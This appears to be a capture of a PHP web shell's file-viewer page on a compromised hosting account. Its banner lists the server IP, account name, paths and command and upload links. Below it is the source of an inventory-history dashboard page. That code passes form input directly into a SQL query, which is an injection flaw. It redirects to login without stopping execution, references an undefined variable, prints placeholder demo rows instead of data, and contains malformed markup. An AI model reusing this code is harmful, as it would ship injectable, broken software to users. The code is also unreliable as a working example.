|
Server IP : 162.214.80.37 / Your IP : 216.73.216.68 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/www/inventory/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
header("Location: login.php");
}
include("include/db.php");;
?>
<!doctype html>
<html lang="en">
<!-- Mirrored from themesdesign.in/morvin/layouts/index.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:25:02 GMT -->
<head>
<?php include 'include/head.php'; ?>
</head>
<body>
<!-- Begin page -->
<div id="layout-wrapper">
<?php include 'include/header.php'; ?>
<!-- ========== Left Sidebar Start ========== -->
<div class="vertical-menu">
<?php include 'include/sidebar.php'; ?>
</div>
<!-- Left Sidebar End -->
<!-- ============================================================== -->
<!-- Start right Content here -->
<!-- ============================================================== -->
<div class="main-content">
<div class="page-content">
<!-- start page title -->
<div class="page-title-box">
<div class="container-fluid">
<div class="row align-items-center">
<div class="col-sm-6">
<div class="page-title">
<h4>Inventory History</h4>
<!-- <ol class="breadcrumb m-0">
<li class="breadcrumb-item"><a href="javascript: void(0);">Morvin</a></li>
<li class="breadcrumb-item"><a href="javascript: void(0);">Tables</a></li>
<li class="breadcrumb-item active">Data Tables</li>
</ol> -->
</div>
</div>
<div class="col-sm-6">
</div>
</div>
</div>
</div>
<!-- end page title -->
<div class="container-fluid">
<div class="page-content-wrapper">
<!-- end row -->
<div class="row">
<div class="col-12">
<div class="card">
<div class="card-body">
<div class="row mb-3">
<div class="col-md-3">
<select class="form-select" aria-label="Default select example" name="warhouse">
<option selected="">Filter by Warehouse</option>
<?php
$sm = "select * from tbl_warhouse";
$rm = mysqli_query($con,$sm);
while ($mr = mysqli_fetch_array($rm)) {
echo '<option value="' . $mr['id'] . '">' . $mr['w_name'] . '</option>';
} ?>
</select>
</div>
<div class="col-md-3">
<select class="form-select" aria-label="Default select example" name="commodity">
<option selected="">Filter by Commodity</option>
<?php
$sm = "SELECT DISTINCT(c_name) FROM `tbl_inventory`;";
$rm = mysqli_query($con,$sm);
while ($mr = mysqli_fetch_array($rm)) {
echo '<option value="' . $mr['c_name'] . '">' . $mr['c_name'] . '</option>';
} ?>
</select>
</div>
<!-- <div class="col-md-3">
<select class="form-select" aria-label="Default select example">
<option selected="">Filter by Status</option>
<option value="1">One</option>
<option value="2">Two</option>
<option value="3">Three</option>
</select>
</div> -->
<!-- <div class="col-md-3">
<label for="validationCustom01" class="form-label">From date</label>
<input class="form-control" type="date" value="2011-08-19" id="example-date-input">
</div>
<div class="col-md-3">
<label for="validationCustom01" class="form-label">To date</label>
<input class="form-control" type="date" value="2011-08-19" id="example-date-input">
</div> -->
</div>
<div class="table-responsive mb-0 fixed-solution" data-pattern="priority-columns">
<table id="datatable-buttons" class="table table-striped table-bordered dt-responsive nowrap" style="border-collapse: collapse; border-spacing: 0; width: 100%;">
<thead>
<tr>
<th>Form Code</th>
<th>Commodity Code</th>
<th>Commodity Name</th>
<th>Warehouse code</th>
<th>warehouse Name</th>
<th>Opening Stock</th>
<th>Closing Stock</th>
<th>Lot number/Quntity Sold</th>
<th>Expiry Date</th>
</tr>
</thead>
<?php
if(isset($_POST['find']))
{
$doctor = $_POST['warhouse'];
$emp = $_POST['commodity'];
$fdate = $_POST['fdate'];
$edate = $_POST['edate'];
if ($emp != '' && $emp!='all') {
$gemp = " AND login_id='$emp'";
} else {
$gemp = '';
}
if ($emp != '' && $emp!='all') {
$iemp = " AND vemp='$emp'";
} else {
$iemp = '';
}
$sql = "select * from tbl_inventory where filter IS NULL $gemp $emp1";
$sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
$count = 1;
while ($sql_row = mysqli_fetch_assoc($sql_res)) {
?>
<tbody>
<tr>
<td>Tiger Nixon</td>
<td>System Architect</td>
<td>Edinburgh</td>
<td>61</td>
<td>2011/04/25</td>
<td>$320,800</td>
<td>61</td>
<td>2011/04/25</td>
<td>$320,800</td>
</tr>
<tr>
<td>Shad Decker</td>
<td>Regional Director</td>
<td>Edinburgh</td>
<td>51</td>
<td>2008/11/13</td>
<td>$183,000</td>
<td>61</td>
<td>2011/04/25</td>
<td>$320,800</td>
</tr>
<tr>
<td>Michael Bruce</td>
<td>Javascript Developer</td>
<td>Singapore</td>
<td>29</td>
<td>2011/06/27</td>
<td>$183,000</td>
<td>61</td>
<td>2011/04/25</td>
<td>$320,800</td>
</tr>
<tr>
<td>Donna Snider</td>
<td>Customer Support</td>
<td>New York</td>
<td>27</td>
<td>2011/01/25</td>
<td>$112,000</td>
<td>61</td>
<td>2011/04/25</td>
<td>$320,800</td>
</tr>
<?php
}
}
?>
</tbody>
</table>
</div>
</div>
</div>
</div> <!-- end col -->
</div> <!-- end row -->
</div>
</div> <!-- container-fluid -->
</div>
<!-- End Page-content -->
<<footer class="footer">
<?php include 'include/footer.php'; ?>
</footer>
</div>
<!-- end main content-->
</div>
<!-- END layout-wrapper -->
<!-- Right Sidebar -->
<!-- /Right-bar -->
<!-- Right bar overlay-->
<div class="rightbar-overlay"></div>
<!-- JAVASCRIPT -->
<?php include 'include/bscript.php'; ?>
</body>
<!-- Mirrored from themesdesign.in/morvin/layouts/index.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:25:42 GMT -->
</html>